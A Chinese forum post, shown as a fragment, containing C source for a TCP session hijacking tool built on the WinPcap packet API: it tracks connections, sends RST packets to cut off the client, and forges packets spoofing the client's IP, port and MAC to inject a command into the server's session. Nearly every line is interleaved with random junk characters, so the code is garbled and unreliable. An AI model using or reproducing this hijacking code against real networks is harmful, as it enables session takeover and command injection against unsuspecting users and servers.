- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
|
pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, TRUE, FALSE); 1 X% y* J/ D( b6 @) l
//reset action flag 3 U1 {% {5 N0 L5 j) ?
ResetActionAllFlag();
, j5 h' Y: ~9 N ?' b4 m } * k; D) M2 @/ w) W# ?$ X, A' k/ H, u
//start hijack 0 U% E( _. V! d9 G
else if(g_dwAction == ACTION_HIJACK)
2 ]# f. S+ d( `5 k2 W { 4 D# [- U' s4 Y( v! } S/ C
//send rst packet to client
, @" p& Y1 k& _ w' u2 s SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq); ' q5 l, b+ a1 v/ w5 c6 Y7 l+ @3 c
//send hijack packet to client & z% `% e3 }) n! Z$ _1 O1 a
SendHiJackPacket(pTCPPacket); 2 _8 ?3 v1 L+ S/ \# U. k* h
//reset action flag
$ ^( n1 s" _8 D; u- w ResetActionAllFlag();
4 R: y/ ~; \/ ~! R1 M } $ A: a) R* l- F* u
}
, p7 s- P: v. }" Z! e0 n //show the tcp data
) a, H# M# b) @ if( (g_dwAction == ACTION_WATCH) && (usDataLen) )
( A- _& @( y3 Z% r7 X {
" b2 F- W" Z/ b* }" g' z ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); / d0 E- v# m& W; w+ {/ ?5 ?
//暂不考虑IP、TCP头不是20字节的情况 / g: Y( H; e$ Z& Z) }. w
//pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen; " S! Y' M: f/ E4 ^1 c& N
pStr = (char *)pTCPPacket + 54;
Q( S5 z& g* r5 c* h for(i=0; i }
# O" l: i3 H8 } ? }
( W- K: x1 k3 V" ? //debug output 9 P# |; ?% h* ]! B
//ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE); 3 N k# r. z& F+ U
}//end of analyse packets while % O- h( m6 u1 J% o" ?
}//end of recv packets while & w- C3 m. Y Q2 Q s# v
PacketFreePacket(lpRecvPacket); : e4 K, W2 S1 a
return 0;
- Z( ?7 J4 q4 U9 h/ T! ]4 H8 m} & W/ n1 x6 a" _0 e: R$ ]
) w& `6 d o7 A* Y
9 Q: i( R! T2 L* b9 B" ]# @' `//
9 F0 C$ Z5 u' i9 @! L" A//功能:操作记录所有连接信息的单向链表
) `# T6 O/ Z3 {- t8 x//
* u. h) z" ^ {" H1 u" d* ^# ~+ c6 @DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP, # R9 S. L0 g" s" _9 Z9 p" U
USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
3 F4 w! ^: r! \/ K0 N5 {+ u# U& k{ / y- I) `7 \2 S9 ^1 n
PCONNINFO pNew, pTmp; / ^) S {$ ?2 ~ c3 ?7 W+ }
+ w0 j4 X. ?3 r7 _ B! ]
pTmp = g_pConnHead;
! d6 H+ j+ a+ y1 @& V, x4 A while(pTmp)
$ T# J* o4 r6 v3 g) n5 h8 ` { 7 D: S' S6 j% |/ Y- m* s& h' q" N
if(pTmp->bActive) 9 C3 ^5 c: {: a2 c* d' z
{ ( W* f8 x% i( }, ?6 X2 W3 ~
//found it 6 b* [9 A/ e- y- a
if( (pTmp->dwServerIP == dwServerIP) && }0 f; J- q, X$ B/ a$ y" u% j6 B/ U
(pTmp->uServerPort == uServerPort) &&
' h9 g1 R* m5 C. F (pTmp->dwClientIP == dwClientIP) && & ~' K6 Q& s7 w4 C: p
(pTmp->uClientPort == uClientPort) ) . o, S% m9 L7 B5 W* e' _7 R! t
{
- E3 [) _2 I7 ~0 M7 d if(bDelete)
2 \% V# X2 l; `% m {
- s% i+ D* ]1 u/ y2 M4 z) ~: ? pTmp->bActive = FALSE;
# V3 E) b/ d% p return 0; # j3 y; B" C; O
} 1 s/ f7 ]# {1 B. K6 ]: c3 t# n
else return pTmp->ident;
4 L/ l/ t2 }; l9 j/ H } ) [) k6 m; {+ ^* @2 F3 S' d$ D
} 4 D2 H5 ]" }! P7 \; h6 h- B* h; \6 J
pTmp = pTmp->Next; $ }/ R, J4 C. ]! K1 N0 ~
} 9 b6 G9 w, o# A
//not found, create new node
# I3 i$ i( c& l if( (!pTmp) && (!bDelete) && (bAddNew) )
) u2 i. O5 M3 K. ?0 H( b {
; y3 e! S, Z! f3 `' |& V7 H1 {/ r //search unactive note 2 X" } b1 {$ b! u- E. x' h
pTmp = g_pConnHead; ( s8 o; q3 p) t
while(pTmp) 6 D' y2 Q; Y+ z1 }1 @
{
% w$ V$ x* h, p$ L; k/ E7 h if(!pTmp->bActive) break; {+ K \) S0 s- m" _+ D! n6 R2 J" W
pTmp = pTmp->Next;
& `$ z4 r( |4 @" V } 6 c7 x" z7 m& S- X
//found a unactive node ' a; R$ f3 y# \6 ]- T; v5 S4 ?
if(pTmp)
$ D2 S- N; X' I4 Y% w {
! e. g( }/ q1 K( y3 ] pTmp->dwServerIP = dwServerIP;
( S( Z ?1 R: _# |7 ^ pTmp->uServerPort = uServerPort; : {8 Q1 ^* r5 J" f- O- r; d
pTmp->dwClientIP = dwClientIP; \1 Y- f" u/ ~" j9 D( [
pTmp->uClientPort = uClientPort; 8 v; A* k) T* G F1 c& e4 Z
pTmp->bActive = TRUE;
- A' `) ^+ G$ I5 N return pTmp->ident; 9 E" T, V' X( F; Z/ A
}
8 r; R3 W* @, Z7 Y //not found,create new node + O) E* h: ?+ q. k! r
pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
6 j3 ?# V" f# X& A. X if(!pNew) $ t. w4 ^: q# A; c' P1 O' S5 Z
{
0 r5 y8 G1 `/ O$ \ printf("malloc for link node error:%d\n", GetLastError());
, ]5 N1 D( \0 J8 z return 0; 1 L* A# m- `. Y9 _( R$ b
} ' A' W9 U+ c: `$ n0 M& x* R
//fill the struct 6 S7 U# A) K5 O X& X- Y
pNew->bActive = TRUE; O5 P$ j7 K' n! n/ r; E
pNew->dwServerIP = dwServerIP;
& j% S3 x/ p; v8 L pNew->uServerPort = uServerPort; ' ]5 d( @$ ^; X0 L
pNew->dwClientIP = dwClientIP;
0 z8 X! a+ a& r! `! g, o# X* k pNew->uClientPort = uClientPort; 8 Z+ ?0 O, ~) Q! M
pNew->ident = ++g_ident;
+ J% a0 o! [. j" t5 j pNew->Next = NULL;
3 P- s% d1 }/ e3 F7 | //add new node to link
, e+ q4 i) J2 L; u if(!g_pConnHead) . c+ b) \8 W; L, k8 I: x( t
g_pConnHead = g_pConnLast = pNew;
: A; n# `/ |( d1 w( c! [ else ( o, U9 R3 A7 i
{ ) d0 _* D" M1 i- U5 h
g_pConnLast->Next = pNew; & Q! a6 J! s7 @5 h8 O. i% Z5 ?# u2 W
g_pConnLast = pNew; * z5 u" e0 p/ j5 z
}
* C" z4 [. }: ^* X$ R0 S return pNew->ident; $ s* a% }8 N/ e
} 5 N9 a( N9 Y- [; j2 n; \
return 0;
l! }2 Z) E7 y} . H/ }; h! z; F5 K7 U
! n. ?0 Q; r. P: q; p+ G//
: f( x# M) R& [' i0 y//功能:判断一个数据包是不是只有ACK标志 0 \- i" j+ l/ }, @: ]
// ; Z8 a! |" I/ x* [2 a
BOOL IsACKPacket(unsigned char flag)
n3 E0 E* o* R1 x4 J5 y. Q{
8 O( R# y% _ P9 f+ d4 C int i, j=1;
+ k% @6 n2 f- B/ C' R! d, h for(i=0 ; i<4; i++) : p, I: J( Q, ?! P2 J0 k( r8 R
{
# E; [0 g Z2 M* @8 Q if(flag & j) return FALSE;
3 D, c2 J6 k5 b6 \. E B j <<= 1;
* m7 t+ \! D! C5 q$ ] }
+ t3 |, f5 q; N' G2 o3 E! A; { if(!(flag & 0x10)) return FALSE;//is ack?
6 x; Q9 l! A% A0 K7 w7 j7 t6 N if(flag & 0x20) return FALSE;
1 T. Z* G' L, U1 T+ \5 b return TRUE; ' Q# M2 T* o- O3 n0 f& h
} 3 [6 ]9 W3 u# q
! a; @7 T1 i% F3 \. T$ @. H
//
9 e/ k1 N, d% ^8 X2 a# t& O( l! L//功能:伪装成Client给Server发送数据包 " G" o) S8 M- Y4 f
// # j6 Y# ~, M L" R0 x: X
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
; `, z: K+ R4 g5 q{ & O( G0 o4 S% ~- D/ a5 H
- e: [. G4 H' s. G! J! M
char szBuff[1520]; : X" C" t5 S; s9 Y; m' @) I% v
PSDHDR psdhdr; 0 ?/ h* _3 Z0 w6 e8 S. w- q
PTCPPACKET pHiJackPacket = NULL;
( H, v9 n1 w( e4 m! W* a BOOL bRet = FALSE;
" {2 ?6 i% y3 A3 q7 P5 U$ M
, G1 {/ D2 V6 |" \ __try
/ I: W* c: R: D, ]5 j { ! |1 h1 K- G( {4 B3 m4 {
//
0 @. i% |' x' S% k. A" F. ? if(!g_pCurrCtrlConn) __leave;
' h, j2 L6 G) I. D, f5 T" x //allocate memory for hijack packet
+ w) F8 S$ Z# U) I pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET)); 1 L$ I; L/ F, K" B0 S: U9 h$ A
if(!pHiJackPacket) ( Y M( z' [( Y! V$ Y7 M
{ 6 P0 ?. U: ~2 C
printf("malloc error:%d\n", GetLastError()); ) [ u5 b& J' d' D) Q- Q4 O# k
__leave;
2 [- E* W$ [9 T% I9 G, U: f }
* o9 t% @( _: ?2 F0 f$ r memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET)); 2 [0 L/ s8 X) t
//-------------- modify the packet ---------------// 3 t1 l5 Z1 m! U* c
//modify ethernet head
7 m1 l' O9 e' }7 M& \ memcpy(pHiJackPacket->ehhdr.DestMAC, g_szServerSideMAC, 6);
`: K* N% O$ B; f$ p memcpy(pHiJackPacket->ehhdr.SourceMAC, g_szOwnMAC, 6); 0 X$ ^( P+ Q2 w: C3 ]
//modify ip head
; H! z2 e8 n% {( K! w( d- | pHiJackPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long));
- A4 U& `1 H% {6 p3 m c9 V pHiJackPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
3 r3 u" ?2 d# \$ M x; f. X* E% Q) n pHiJackPacket->iphdr.ident += 1;//标识加1
+ _6 V7 w1 m. P8 w9 D, f7 h: X7 I pHiJackPacket->iphdr.checksum = 0;
1 o% [ z# }, W+ l pHiJackPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwClientIP;//源IP地址,伪装成client - `: v+ |+ S2 @" F! Q( z
pHiJackPacket->iphdr.destIP = g_pCurrCtrlConn->dwServerIP;//目的IP地址,接收hijack包的地址 3 P! d: D5 r2 x. ]) N" H7 ~; r
//modify tcp head
& m6 A# Q4 B* q- M3 k pHiJackPacket->tcphdr.th_sport = g_pCurrCtrlConn->uClientPort;//client's port
) {" M+ F( z" m8 o- H0 G9 u pHiJackPacket->tcphdr.th_dport = g_pCurrCtrlConn->uServerPort;//server's port 5 b; C; c- y( t8 ?" G% _
pHiJackPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4 << 4 | 0);
# z% n6 n4 `) v pHiJackPacket->tcphdr.th_flag = 0x18;// PA ' o4 x/ G: R7 v2 c( Z- M6 g7 g
pHiJackPacket->tcphdr.th_sum = 0; ( O" Y9 P0 D7 v( Z& v
pHiJackPacket->tcphdr.th_win = 0x3F44; , Q( a- _+ E6 j5 L4 y
//fill tcp psd head ( X; p9 e2 q B1 R
psdhdr.saddr = pHiJackPacket->iphdr.sourceIP; 4 e ]1 J& V2 [" \3 S5 l+ [; I
psdhdr.daddr = pHiJackPacket->iphdr.destIP; ' C: |: _* s0 M6 h
psdhdr.mbz = 0; , w" M2 W% z" t7 s2 h
psdhdr.ptcl = IPPROTO_TCP; 1 q4 R! f1 o1 h
psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len + [) M5 z V, n1 _+ |( i3 |
//calculate tcp checksum . D+ j/ k2 Z5 t8 C9 ^- n
memcpy(szBuff, &psdhdr, sizeof(PSDHDR));
4 K7 i4 x% Q+ X/ ]% p memcpy(szBuff + sizeof(PSDHDR), &pHiJackPacket->tcphdr, sizeof(TCPHDR)); 3 d1 U+ T1 I+ I1 i' o0 I6 g6 `- Z
memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand)); 7 N; ? U. R& D; }; W
pHiJackPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
! b; o: Y5 i, P9 W5 |. F6 M" w //calculate IP checksum 5 M) g" t+ v. X6 X% C) U5 C
pHiJackPacket->iphdr.checksum = checksum((USHORT *)&pHiJackPacket->iphdr, sizeof(IPHDR));
* M$ u8 Q5 o2 ]+ L+ d //fill send buffer
* y4 E3 w7 x8 p memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET)); 1 Y7 a2 u* G. J8 x0 d( J
memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
5 ^9 Y, j, Z- B/ W& P" J. P memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
, y9 X% @; E. M% S, f memset(g_lpSendPacket->Buffer, 0, 1514);
) g1 R" \% `. }0 B memcpy(g_lpSendPacket->Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand)); ; p+ ]4 n. D5 ?' A3 D
if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
: f0 v/ n& }. o5 B: N { / _8 L& U, n/ s/ }
printf("Error sending the hijack packets!\n"); . Z0 b8 w! w K) x. g# ^; ?
__leave;
1 M! D: q5 ~6 }" l) O2 P0 D; P } ( B4 V* b" d6 `: q: x i/ N& \6 @
else printf("Send hijack packet ok!\n");
. h$ z9 F, g1 V7 U bRet = TRUE;
+ Z$ _/ a8 S- r1 R# ?3 x } |
|